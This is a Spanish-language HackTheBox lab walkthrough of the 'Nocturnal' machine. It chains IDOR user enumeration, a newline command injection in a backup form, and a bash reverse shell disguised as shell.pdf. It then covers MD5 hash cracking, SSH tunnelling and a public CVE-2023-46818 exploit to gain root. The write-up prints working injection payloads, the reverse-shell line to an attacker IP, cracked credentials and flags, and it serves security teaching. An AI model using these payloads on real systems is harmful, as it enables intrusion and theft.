NOCTURNAL

// HackTheBox · Linux · Fácil · IDOR + Command Injection + CVE-2023-46818

HACKTHEBOX LINUX FÁCIL IDOR CMD INJECTION SSH TUNNEL CVE-2023-46818 // 2026-05-19

Reconocimiento

1
VERIFICAR CONECTIVIDAD — PING

El primer paso siempre es verificar que la máquina objetivo está activa y tiene conectividad con nuestra interfaz de red VPN de HackTheBox. Para eso usamos ping con el flag -c 3 que limita el envío a solo 3 paquetes ICMP (sin ese flag el ping sería infinito). El objetivo es confirmar que la IP 10.129.6.36 responde antes de gastar tiempo escaneando.

Un TTL de 63 en la respuesta es una pista importante: los sistemas Linux suelen responder con TTL 64, y al pasar por un hop de red baja a 63. Si hubiera sido 127–128, estaríamos ante Windows. Esto nos da una primera confirmación de que es Linux, lo que coincide con la descripción de la máquina.

PING
$ ping 10.129.6.36 -c 3
PING 10.129.6.36 (10.129.6.36) 56(84) bytes of data.
64 bytes from 10.129.6.36: icmp_seq=1 ttl=63 time=121 ms
64 bytes from 10.129.6.36: icmp_seq=2 ttl=63 time=120 ms
64 bytes from 10.129.6.36: icmp_seq=3 ttl=63 time=118 ms
 
--- 10.129.6.36 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2008ms
rtt min/avg/max/mdev = 118.359/120.012/121.321/1.233 ms
2
ESCANEO COMPLETO CON NMAP

Con conectividad confirmada, lanzamos un escaneo exhaustivo con nmap. Desglosando cada flag del comando:

-p- escanea los 65,535 puertos TCP en lugar de solo los 1,000 más comunes. Muchos servicios interesantes corren en puertos no estándar y se pierden con un escaneo básico. Es más lento pero no deja nada sin revisar.

-sSCV es la combinación de tres flags: -sS (SYN scan, el más sigiloso — envía solo el paquete SYN sin completar el handshake TCP, más rápido y menos ruidoso que un connect scan), -sC (ejecuta los scripts por defecto de NSE — Nmap Scripting Engine — que detectan configuraciones, banners y vulnerabilidades básicas), y -sV (detecta la versión exacta del servicio en cada puerto abierto). La razón de combinarlos es que con una sola pasada obtenemos puertos, servicios y scripts sin hacer múltiples escaneos.

-n desactiva la resolución DNS. Cuando nmap intenta resolver IPs a nombres de dominio, añade latencia. En un entorno de laboratorio esto es innecesario y ralentiza el escaneo.

-Pn deshabilita el ping previo al escaneo (host discovery). Por defecto nmap primero comprueba si el host está activo. En algunas máquinas HTB el firewall bloquea ICMP pero los puertos están abiertos: sin -Pn nmap asumiría que el host está caído y no escanearía. Ya verificamos conectividad con ping manualmente, así que lo omitimos con seguridad.

--min-rate=5000 fuerza a nmap a enviar al menos 5,000 paquetes por segundo. Acelera significativamente el escaneo de 65,535 puertos, pasando de varios minutos a menos de un minuto. Aceptable en entornos de laboratorio.

--open muestra solo los puertos en estado abierto, filtrando los cerrados y filtrados para que la salida sea limpia y fácil de analizar.

-oX nocturnal.xml guarda los resultados en formato XML. Este formato estructurado permite transformarlo después con herramientas como xsltproc en un HTML visual y legible, útil para reportes.

ESCANEO
$ sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 10.129.6.36 -oX nocturnal.xml
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-19 16:52 -0400
Nmap scan report for 10.129.6.36
Host is up (2.4s latency).
Not shown: 36394 closed tcp ports (reset), 29139 filtered tcp ports (no-response)
PORT    STATE SERVICE VERSION
22/tcp open ssh    OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
80/tcp open http   nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Nmap done: 1 IP address (1 host up) scanned in 45.62 seconds

// ANÁLISIS DE RESULTADOS

Solo 2 puertos abiertos: 22 (SSH) con OpenSSH 8.2p1 y 80 (HTTP) con nginx 1.18.0. La línea crítica es http-title: Did not follow redirect to http://nocturnal.htb/ — nmap detectó que el servidor redirige a un dominio virtual nocturnal.htb, no a la IP. Esto nos indica que el servidor usa Virtual Hosting y necesitamos configurar nuestro sistema para resolver ese dominio antes de acceder al sitio.

3
CONVERTIR RESULTADOS NMAP A HTML

xsltproc es un procesador de hojas de estilo XSLT. Nmap incluye una hoja de estilo (/usr/share/nmap/nmap.xsl) que transforma el XML de salida en un HTML tabular con colores, legible en cualquier navegador. Esto es especialmente útil para incluir en reportes o para revisar resultados de escaneos grandes de forma cómoda.

XSLT
$ xsltproc /usr/share/nmap/nmap.xsl nocturnal.xml > nocturnal.html

Configurar /etc/hosts

4
AGREGAR ENTRADA EN /etc/hosts

El servidor nginx usa Virtual Hosting: sirve diferente contenido según el valor del header Host de la petición HTTP. Si accedemos directamente por IP, nginx no reconoce qué sitio servir y redirige al dominio correcto. Como nocturnal.htb no existe en DNS público (es un dominio ficticio de HTB), debemos decirle manualmente a nuestro sistema cómo resolverlo.

El archivo /etc/hosts es el resolver DNS local del sistema operativo — se consulta antes que cualquier servidor DNS externo. Al agregar la línea 10.129.6.36 nocturnal.htb, cualquier petición a ese dominio va directo a la IP de la máquina sin pasar por DNS. Requiere sudo porque /etc/hosts es un archivo del sistema.

HOSTS
$ sudo nano /etc/hosts
# Agregar esta línea al final del archivo:
10.129.6.36    nocturnal.htb

// VIRTUAL HOSTING — ¿POR QUÉ IMPORTA?

Un servidor puede alojar múltiples sitios web en la misma IP usando Virtual Hosting. nginx decide qué sitio mostrar leyendo el header Host de cada petición HTTP. Si accedemos por IP (10.129.6.36), el header Host es la IP y nginx no encuentra coincidencia con "nocturnal.htb", por eso redirige. Al configurar /etc/hosts, el navegador envía Host: nocturnal.htb y nginx sirve el sitio correcto.


Exploración Web · Puerto 80

5
ACCEDER Y REGISTRAR USUARIO DE PRUEBA

Al acceder a http://nocturnal.htb encontramos una aplicación web llamada Nocturnal, una plataforma para subir y compartir documentos. El primer paso es entender cómo funciona la aplicación desde adentro: para eso nos registramos con credenciales genéricas (test:123). No nos interesa la cuenta en sí — nos interesa observar el comportamiento de la aplicación, especialmente las URLs que genera y cómo referencia archivos y usuarios.

Al subir un archivo de prueba (prueba_nocturnal.odt) observamos que la URL para visualizarlo tiene la forma: nocturnal.htb/view.php?username=test&file=prueba_nocturnal.odt

La aplicación acepta solo tipos de archivo específicos: pdf, doc, docx, xls, xlsx, odt. Cualquier otro tipo es rechazado con el mensaje "Invalid file type". Esto es relevante más adelante para el bypass de subida de shell.

// VULNERABILIDAD DETECTADA — IDOR EN view.php

El parámetro username en la URL view.php?username=test&file=... es controlado por el usuario. La aplicación no verifica que el usuario autenticado coincida con el username pedido. Esto permite acceder a los archivos de cualquier otro usuario simplemente cambiando el valor del parámetro. Esto se llama IDOR (Insecure Direct Object Reference).


IDOR · Enumeración de Usuarios con wfuzz

6
EXTRAER COOKIE DE SESIÓN

Antes de lanzar el fuzzing, necesitamos la cookie de sesión activa del usuario test. La aplicación usa PHP sessions con la cookie PHPSESSID. Sin esta cookie, las peticiones serían redirigidas al login (HTTP 302) y no obtendríamos respuestas útiles. La extraemos desde el DevTools del navegador (F12 → Application → Cookies). El valor obtenido es 6cjdvlm1gveogr1fogib0m1d6v.

7
ENUMERAR USUARIOS CON WFUZZ

wfuzz es un fuzzer web: reemplaza la palabra clave FUZZ en la URL por cada línea de un wordlist y analiza las respuestas. Desglosando los flags:

-c activa la salida con colores, facilitando la lectura visual.

-w /usr/share/wordlists/seclists/Usernames/Names/names.txt especifica el wordlist de nombres a probar. Este archivo de SecLists contiene miles de nombres comunes en inglés, ideal para enumerar usernames en aplicaciones web.

--hc=404,302 significa hide codes: oculta respuestas con código HTTP 404 (archivo no encontrado) y 302 (redirección al login — usuarios no existentes). Solo veremos respuestas 200, que indican un username válido que tiene archivos.

-b "PHPSESSID=..." pasa la cookie de sesión en cada petición, simulando que somos el usuario test autenticado.

--hh=2985 significa hide chars: oculta respuestas con exactamente 2,985 caracteres. Este valor corresponde al tamaño de la página cuando el archivo no existe para ese usuario ("File does not exist"). Al ocultarlo, solo vemos usuarios que tienen el archivo prueba_nocturnal.odt listado — es decir, usuarios reales registrados con archivos en el sistema.

WFUZZ
$ wfuzz -c -w /usr/share/wordlists/seclists/Usernames/Names/names.txt --hc=404,302 -b "PHPSESSID=6cjdvlm1gveogr1fogib0m1d6v" --hh=2985 "http://nocturnal.htb/view.php?username=FUZZ&file=prueba_nocturnal.odt"
ID            Response  Lines  Word   Chars   Payload
─────────────────────────────────────────────────────────────────────
000000093:   200       128 L   247 W   3037 Ch   "admin"
000000612:   200       128 L   248 W   3113 Ch   "amanda"
000009880:   200       120 L   247 W   3037 Ch   "tobias"
 
Total time: 220.0648  | Processed Requests: 10713  | Filtered Requests: 10710

// ¿POR QUÉ USAMOS EL ARCHIVO QUE SUBIMOS COMO REFERENCIA?

La técnica de wfuzz aquí es inteligente: como sabemos que nosotros subimos "prueba_nocturnal.odt", un usuario inexistente o que no tiene ese archivo devuelve la página de "File does not exist" con un tamaño fijo de 2,985 caracteres. Al filtrar ese tamaño con --hh=2985, solo emergen los usuarios reales del sistema que tienen archivos propios listados. Encontramos tres: admin, amanda y tobias.


Credenciales de Amanda · IDOR Explotado

8
ACCEDER A LOS ARCHIVOS DE AMANDA

Ahora que sabemos que amanda es un usuario real, explotamos el IDOR navegando manualmente a su directorio de archivos. Simplemente cambiamos el parámetro username=test por username=amanda en la URL. La aplicación nos muestra sus archivos sin validar que tengamos permiso para verlos.

Vemos que Amanda tiene un archivo llamado privacy.odt. Cambiamos también el parámetro file para descargarlo. Al abrirlo, encontramos una carta del equipo de TI de Nocturnal con una contraseña temporal asignada a Amanda.

IDOR URL
URL: http://nocturnal.htb/view.php?username=amanda&file=privacy.odt
Contenido del archivo privacy.odt:
 
Dear Amanda,
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J
This password has been set for all our services, so it is essential that
you change it on your first login to ensure the security of your account.
 
Yours sincerely,
Nocturnal's IT team
USUARIO
amanda
CONTRASEÑA
arHkG7HAI68X8s1J
ORIGEN
privacy.odt (IDOR)

Panel de Admin · Source Code

9
LOGIN COMO AMANDA — DESCUBRIR ADMIN PANEL

Al autenticarnos con las credenciales de Amanda observamos que su dashboard tiene un enlace Go to Admin Panel que no aparecía con el usuario test. Esto confirma que Amanda tiene privilegios de administrador en la aplicación web.

En el código fuente de la página (CTRL+U) podemos ver que el panel admin está en /admin.php. El Admin Panel expone dos funcionalidades críticas: un File Viewer que permite leer el contenido de los archivos PHP del servidor, y una función de Create Backup con un campo de contraseña. Esta segunda funcionalidad es donde reside la siguiente vulnerabilidad.

// LECTURA DE CÓDIGO FUENTE

El File Viewer nos permite leer el código PHP del servidor directamente desde el navegador. Al leer dashboard.php, encontramos la ruta a la base de datos SQLite: $db = new SQLite3('../nocturnal_database/nocturnal_database.db'); y confirmamos que los tipos de archivo permitidos son: pdf, doc, docx, xls, xlsx, odt. Esta información es vital para planear el bypass de la subida de la reverse shell.


Command Injection · Función Backup

10
INTERCEPTAR CON BURP SUITE — ENVIAR AL REPEATER

Burp Suite es un proxy de interceptación HTTP: se sienta entre nuestro navegador y el servidor, capturando y permitiendo modificar cada petición antes de enviarla. El Repeater de Burp es una herramienta que permite reenviar peticiones HTTP manualmente con las modificaciones que queramos, sin tener que repetir la acción en el navegador. Es ideal para probar inyecciones de forma iterativa.

Al crear un backup desde el Admin Panel, Burp captura el POST a /admin.php con el body: password=...&backup=. El parámetro password se pasa a un comando del sistema operativo (probablemente a zip con contraseña) sin ser sanitizado — aquí está la inyección de comandos.

11
PROBAR LA INYECCIÓN — LISTAR ARCHIVOS

En sistemas Linux, el carácter nueva línea (\n) termina un comando y permite iniciar otro. Al codificarlo en URL como %0a, logramos que el servidor ejecute comandos adicionales después del comando original de backup.

El payload password=%0als&backup= funciona así: el servidor ejecuta algo como zip -P <password> backup.zip ..., pero al recibir %0a (newline) seguido de ls, el shell interpreta que es un nuevo comando. El resultado de ls se devuelve en la respuesta HTTP, confirmando la inyección.

Para listar con detalle el contenido de uploads/ usamos: password=%0als%09-l%09uploads&backup= donde %09 es el tabulador en URL-encoding (equivale al espacio, pero los espacios a veces se filtran en el campo password). Confirmamos que el archivo shell.pdf está en el directorio uploads.

CMD INJECTION
[Burp Repeater] POST body: password=%0als&backup=
LISTAR UPLOADS
[Burp Repeater] POST body: password=%0als%09-l%09uploads&backup=

// ¿POR QUÉ %0a Y %09?

%0a es el caracter de nueva línea (LF, ASCII 10) en URL-encoding. En un shell Unix, la nueva línea separa comandos — permite inyectar un segundo comando. %09 es el tabulador (ASCII 9), que bash acepta como separador de argumentos igual que el espacio. Se usa en lugar del espacio (%20) porque algunos filtros rechazan espacios en campos de contraseña pero permiten tabuladores. Esta técnica de evasión de filtros usando caracteres alternativos de separación es estándar en CTFs.


Reverse Shell · Acceso Inicial

12
CREAR Y SUBIR LA REVERSE SHELL

La aplicación solo acepta archivos con extensiones pdf, doc, docx, xls, xlsx, odt, pero el servidor no verifica el contenido real del archivo, solo la extensión. Aprovechamos esto creando un script bash con extensión .pdf: el servidor lo acepta creyendo que es un PDF, pero en realidad es código bash ejecutable.

El contenido del "PDF" es una reverse shell bash: bash -c 'bash -i >& /dev/tcp/10.10.16.5/443 0>&1'. Desglosando: bash -i abre una shell interactiva. >& /dev/tcp/IP/PUERTO redirige tanto stdout como stderr hacia una conexión TCP a nuestra IP en el puerto 443. 0>&1 redirige también stdin, completando el canal bidireccional. El resultado: cuando el servidor ejecuta este script, bash abre una conexión de vuelta a nuestra máquina y nosotros recibimos una shell interactiva del servidor.

El puerto 443 se usa estratégicamente: es el puerto estándar de HTTPS y raramente está bloqueado por firewalls. Hay que tener el listener activo antes de ejecutar la shell.

CREAR SHELL
$ nano shell.pdf
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.16.5/443 0>&1'
13
ABRIR LISTENER Y EJECUTAR LA SHELL

nc -lvnp 443 inicia netcat en modo escucha: -l = listen, -v = verbose, -n = no resolución DNS, -p 443 = puerto. Netcat espera una conexión entrante y cuando llega, la conecta a nuestra terminal.

Con el listener activo, inyectamos el comando para ejecutar la shell desde Burp: password=%0abash%09uploads/shell.pdf&backup=. El servidor ejecuta bash uploads/shell.pdf, que activa la reverse shell hacia nuestro listener. Obtenemos acceso como www-data — el usuario bajo el cual corre el servidor web nginx/PHP.

LISTENER
$ nc -lvnp 443
TRIGGER SHELL
[Burp Repeater] POST body: password=%0abash%09uploads/shell.pdf&backup=
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.129.6.36] 46520
bash: cannot set terminal process group (1005): Inappropriate ioctl for device
bash: no job control in this shell
www-data@nocturnal:~/nocturnal.htb$ whoami
www-data

SQLite · Extracción de Hashes

14
ACCEDER A LA BASE DE DATOS SQLite

Desde el código fuente leído en el Admin Panel sabemos que la base de datos está en ../nocturnal_database/nocturnal_database.db relativo al directorio web. Como www-data tenemos permisos de lectura sobre ese archivo. sqlite3 es el cliente de línea de comandos para bases de datos SQLite.

Con .tables listamos las tablas disponibles. Encontramos users y uploads. La consulta select * from users; nos devuelve todos los registros, incluyendo los hashes MD5 de las contraseñas de todos los usuarios.

SQLITE
www-data$ sqlite3 ../nocturnal_database/nocturnal_database.db
sqlite3> .tables
sqlite3> select * from users;
uploads   users
 
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
6|kavi|f38cde1654b39fea2bd4f72f1ae4cdda
7|e0Al5|101ad4543a96a7fd84908fd0d802e7db
8|test|202cb962ac59075b964b07152d234b70
15
CRACKEAR EL HASH DE TOBIAS CON CRACKSTATION

Las contraseñas están hasheadas con MD5 (sin salt — hash de longitud 32 caracteres hexadecimales). MD5 es un algoritmo de hash antiguo y roto: existen bases de datos de miles de millones de hashes precomputados llamadas rainbow tables. CrackStation.net es una de las más completas y gratuitas.

El hash de tobias es 55c82b1ccd55ab219b3b109b07d5061d. Al buscarlo en CrackStation obtenemos la contraseña en texto plano: slowmotionapocalypse. Nos enfocamos en tobias porque al revisar /etc/passwd confirmamos que es el único usuario del sistema con shell bash (tobias:x:1000:1000:tobias:/home/tobias:/bin/bash) además de root.

USUARIO
tobias
CONTRASEÑA
slowmotionapocalypse
HASH MD5
55c82b1ccd55ab219b3b109b07d5061d

SSH · Acceso como Tobias

16
SSH COMO TOBIAS — USER FLAG

Con las credenciales obtenidas nos conectamos por SSH al puerto 22. SSH (Secure Shell) nos da una shell completamente interactiva, mucho más estable y funcional que la reverse shell de netcat. En el home de tobias encontramos el archivo user.txt con la primera flag.

SSH
$ ssh tobias@10.129.6.36
tobias@nocturnal:~$ cat user.txt
0508ebedaf704526abea7844cbfe9aaa
17
ENUMERACIÓN POST-EXPLOTACIÓN — PUERTOS INTERNOS

Como tobias, buscamos servicios que estén corriendo internamente pero no expuestos externamente. netstat -tlnp muestra conexiones TCP en escucha: -t = TCP, -l = solo listening, -n = sin resolución de nombres, -p = mostrar el proceso (aunque como no somos root no veremos todos los PIDs).

Encontramos el puerto 8080 escuchando únicamente en 127.0.0.1 (localhost). Esto significa que hay un servicio web accesible solo desde el propio servidor, no desde el exterior. Para acceder a él desde nuestra máquina atacante necesitamos hacer un SSH Port Forwarding.

NETSTAT
tobias@nocturnal:~$ netstat -tlnp | grep LISTEN
tcp  0  0  0.0.0.0:80         0.0.0.0:*  LISTEN  -
tcp  0  0  127.0.0.1:8080    0.0.0.0:*  LISTEN  -
tcp  0  0  127.0.0.1:53:53   0.0.0.0:*  LISTEN  -
tcp  0  0  0.0.0.0:22         0.0.0.0:*  LISTEN  -

SSH Local Port Forwarding

18
TUNELIZAR EL PUERTO 8080 A TRAVÉS DE SSH

El SSH Local Port Forwarding (flag -L) crea un túnel encriptado: redirige el tráfico de un puerto local de nuestra máquina a través de la conexión SSH hacia un puerto de la máquina remota.

El formato es -L puerto_local:host_remoto:puerto_remoto. En nuestro caso: -L 9000:127.0.0.1:8080 significa "mapea el puerto 9000 de mi máquina local al puerto 8080 de 127.0.0.1 (localhost del servidor) a través de la conexión SSH". El resultado: al acceder a http://127.0.0.1:9000 en nuestro navegador, llegamos al servicio en el puerto 8080 del servidor remoto.

Usamos el puerto local 9000 (arbitrario) porque el 8080 puede estar en uso en nuestra máquina. El puerto 443 del servidor también podría usarse, pero 9000 es un valor genérico sin conflictos.

SSH TUNNEL
$ ssh -L 9000:127.0.0.1:8080 tobias@nocturnal.htb

// ¿CÓMO FUNCIONA EL TUNNEL?

Sin tunnel: Nuestra máquina → Internet → Servidor (puerto 80 OK, puerto 8080 ❌ solo localhost)
Con tunnel: Nuestra máquina :9000 → SSH encriptado → Servidor → 127.0.0.1:8080 ✅

El tunnel convierte un servicio interno del servidor en uno accesible desde nuestra máquina. Es una técnica esencial en pentesting para pivotar hacia servicios internos.


ISPConfig · CVE-2023-46818

19
IDENTIFICAR ISPCONFIG Y SU VERSIÓN

Al acceder a http://127.0.0.1:9000 encontramos el panel de login de ISPConfig, una plataforma open-source para administración de hosting web (gestión de sitios, DNS, email, etc.). La primera pregunta es: ¿qué versión? Navegamos a Monitor → System State y vemos ISPConfig 3.2.10p1.

Probamos las credenciales de tobias (admin:slowmotionapocalypse) en ISPConfig y funcionan — el usuario reutilizó la misma contraseña. Esto es una mala práctica de seguridad común y nos da acceso administrativo al panel.

20
BUSCAR CVE PARA ISPCONFIG 3.2.10p1

Con la versión exacta, buscamos vulnerabilidades conocidas. Encontramos CVE-2023-46818: una vulnerabilidad de PHP Code Injection en el endpoint /admin/language_edit.php. El parámetro records del POST no es sanitizado correctamente, permitiendo inyectar código PHP arbitrario que se escribe en un archivo y luego se ejecuta en el servidor. Como ISPConfig corre con privilegios de root, cualquier código inyectado se ejecuta como root.

Existe un exploit público en GitHub (ajdumanhug/CVE-2023-46818) que automatiza el proceso: hace login, obtiene los tokens CSRF necesarios, inyecta el payload PHP y abre una shell interactiva.

CLONE
$ git clone https://github.com/ajdumanhug/CVE-2023-46818.git

Root Flag · Pwned

21
EJECUTAR EL EXPLOIT — SHELL COMO ROOT

El exploit recibe como argumentos: la URL de ISPConfig (por el tunnel es http://127.0.0.1:9000), el usuario admin y su contraseña. Internamente el script: hace login con las credenciales, extrae los tokens CSRF (mecanismo anti-CSRF que ISPConfig implementa para validar peticiones legítimas), envía el payload de code injection con los tokens válidos, escribe un webshell PHP en /admin/sh.php y finalmente lanza una shell interactiva a través de ese webshell.

La confirmación llega con whoami → root. Leemos la root flag en /root/root.txt.

EXPLOIT
$ python3 CVE-2023-46818.py http://127.0.0.1:9000 admin slowmotionapocalypse
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Login successful!
[+] Fetching CSRF tokens ...
[+] CSRF ID: language_edit_3d2437ac3b04b5422b1bcd8c
[+] CSRF Key: 1daf57dfddee4acb3a11d3770ae594dda438c81b
[+] Injecting shell payload ...
[+] Shell written to: http://127.0.0.1:9000/admin/sh.php
[+] Launching shell ...
 
ispconfig-shell# whoami
root
ispconfig-shell# ls /root
root.txt   scripts
ispconfig-shell# cat /root/root.txt
e5c617ebf85b6e0cd2bfbe3feb010ab1
USER FLAG
0508ebedaf704526abea7844cbfe9aaa
ROOT FLAG
e5c617ebf85b6e0cd2bfbe3feb010ab1

// RESUMEN DEL FLUJO DE ATAQUE

1. IDOR → acceso no autorizado a archivos de otros usuarios via view.php
2. Credential Exposure → contraseña de amanda en archivo ODT
3. Command Injection → ejecución de comandos en el backup del admin
4. Reverse Shell → bypass de filtro de extensiones con shell.pdf
5. SQLite Hash Dump → credenciales de tobias crackeadas con CrackStation
6. SSH Tunneling → pivoteo al ISPConfig interno en puerto 8080
7. CVE-2023-46818 → PHP Code Injection → root


Referencia de Comandos

nmap
sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open IP -oX out.xml
Escáner de puertos y servicios. El más usado en reconocimiento inicial.
  • -p- → todos los 65,535 puertos TCP
  • -sS → SYN scan (sigiloso)
  • -sC → scripts NSE por defecto
  • -sV → detección de versiones
  • -n → sin resolución DNS
  • -Pn → sin ping previo
  • --min-rate=5000 → velocidad mínima
  • --open → solo puertos abiertos
  • -oX → salida en XML
wfuzz
wfuzz -c -w wordlist --hc=404,302 -b "COOKIE" --hh=N "URL/FUZZ"
Fuzzer web. Reemplaza FUZZ por cada línea del wordlist y filtra respuestas.
  • -c → colores en salida
  • -w → wordlist a usar
  • --hc → ocultar por código HTTP
  • -b → cookie de sesión
  • --hh → ocultar por número de chars
  • FUZZ → punto de inyección
ssh -L (Port Forward)
ssh -L puerto_local:host_remoto:puerto_remoto usuario@IP
Crea un túnel SSH para acceder a servicios internos del servidor remoto.
  • -L → Local port forwarding
  • 9000 → puerto en nuestra máquina
  • 127.0.0.1:8080 → destino en el servidor
  • usuario@IP → credenciales SSH
sqlite3
sqlite3 base_de_datos.db
Cliente de línea de comandos para bases de datos SQLite. Permite consultas SQL.
  • .tables → listar tablas
  • .schema → ver estructura
  • select * from tabla; → volcar datos
  • .quit → salir
nc (netcat)
nc -lvnp 443
Herramienta de red multipropósito. En pentesting se usa para recibir reverse shells.
  • -l → modo escucha (listen)
  • -v → verbose
  • -n → sin resolución DNS
  • -p → puerto a escuchar
xsltproc
xsltproc /usr/share/nmap/nmap.xsl output.xml > output.html
Transforma XML con hojas de estilo XSLT. Convierte el XML de nmap en HTML legible.
  • nmap.xsl → hoja de estilo de nmap
  • output.xml → resultados del escaneo
  • > output.html → redireccionar a HTML

Glosario Técnico

IDOR — Insecure Direct Object Reference
IDOR es una vulnerabilidad de control de acceso que ocurre cuando una aplicación web usa identificadores directos (IDs de usuario, nombres de archivo, números de registro) para referenciar objetos internos sin verificar que el usuario autenticado tiene permiso para acceder a ese objeto. En Nocturnal, el parámetro username en view.php permite acceder a los archivos de cualquier usuario sin autorización. IDOR es parte del Top 10 de OWASP y es una de las vulnerabilidades más comunes en aplicaciones web modernas.
Command Injection — Inyección de Comandos OS
Command Injection ocurre cuando datos proporcionados por el usuario se pasan sin sanitizar a una función que ejecuta comandos del sistema operativo. En Nocturnal, el campo password del backup se concatenaba directamente a un comando shell. Al insertar %0a (newline), el shell interpretaba el input como dos comandos separados. El caracter %0a actúa como terminador del primer comando e iniciador del segundo. Esta vulnerabilidad permite ejecutar comandos arbitrarios con los privilegios del proceso web.
Reverse Shell — Shell Inversa
Una reverse shell es una técnica donde el servidor comprometido inicia la conexión hacia la máquina del atacante, en lugar de al revés. Esto evita problemas de firewall: mientras los firewalls suelen bloquear conexiones entrantes, permiten conexiones salientes. El payload bash -i >& /dev/tcp/IP/PORT 0>&1 redirige stdin, stdout y stderr de bash a través de una conexión TCP a la IP y puerto del atacante, que tiene un listener (netcat) esperando. El resultado es una terminal interactiva remota.
Virtual Hosting — Hospedaje Virtual
Virtual Hosting permite a un servidor web (nginx, Apache) alojar múltiples sitios web en la misma IP usando el header HTTP Host para distinguirlos. Cuando el navegador hace una petición, incluye el dominio al que se conecta en el header Host. El servidor lee ese header y sirve el sitio correspondiente. Sin el dominio correcto en /etc/hosts, el navegador enviaría la IP como Host y el servidor no sabría qué sitio mostrar.
SSH Local Port Forwarding — Tunneling
El SSH Local Port Forwarding (flag -L) crea un túnel encriptado que redirige el tráfico de un puerto local a un host y puerto accesible desde el servidor SSH remoto. Es la técnica de pivoting más básica: permite acceder a servicios internos de un servidor (que solo escuchan en localhost o en redes internas) a través de la conexión SSH ya establecida. Fue fundamental en Nocturnal para acceder a ISPConfig corriendo en el puerto 8080 interno.
CVE-2023-46818 — ISPConfig PHP Code Injection
CVE-2023-46818 es una vulnerabilidad de PHP Code Injection en ISPConfig ≤ 3.2.10p1. El endpoint /admin/language_edit.php recibe un parámetro records que se escribe directamente en un archivo PHP sin sanitizar. Un atacante autenticado como admin puede inyectar código PHP arbitrario, que al ser ejecutado por el servidor corre con los privilegios del proceso ISPConfig (normalmente root). El exploit automatiza la obtención de tokens CSRF válidos y la entrega del payload, resultando en ejecución de código remoto como root.
MD5 Hash Cracking — Rainbow Tables
MD5 es un algoritmo de hash criptográfico de 128 bits (32 caracteres hex) diseñado en 1991. Está considerado roto para uso en contraseñas: es rápido de computar, no usa salt por defecto y existen bases de datos masivas de hashes precomputados llamadas rainbow tables. Herramientas como CrackStation tienen miles de millones de pares hash↔password almacenados. Cuando una aplicación almacena contraseñas en MD5 sin salt (como Nocturnal), cualquier contraseña común puede recuperarse en segundos con una simple consulta a estas bases de datos.
CSRF Token — Cross-Site Request Forgery Protection
Un CSRF Token es un valor secreto aleatorio que el servidor incluye en los formularios HTML y verifica al recibir el POST. Su propósito es evitar que sitios maliciosos hagan peticiones en nombre del usuario autenticado. ISPConfig implementa CSRF para proteger sus acciones administrativas. El exploit CVE-2023-46818 los extrae automáticamente haciendo primero un GET a la página del formulario, parseando el HTML para encontrar los tokens, y luego incluyéndolos en el POST malicioso. Sin los tokens válidos, el servidor rechazaría la petición.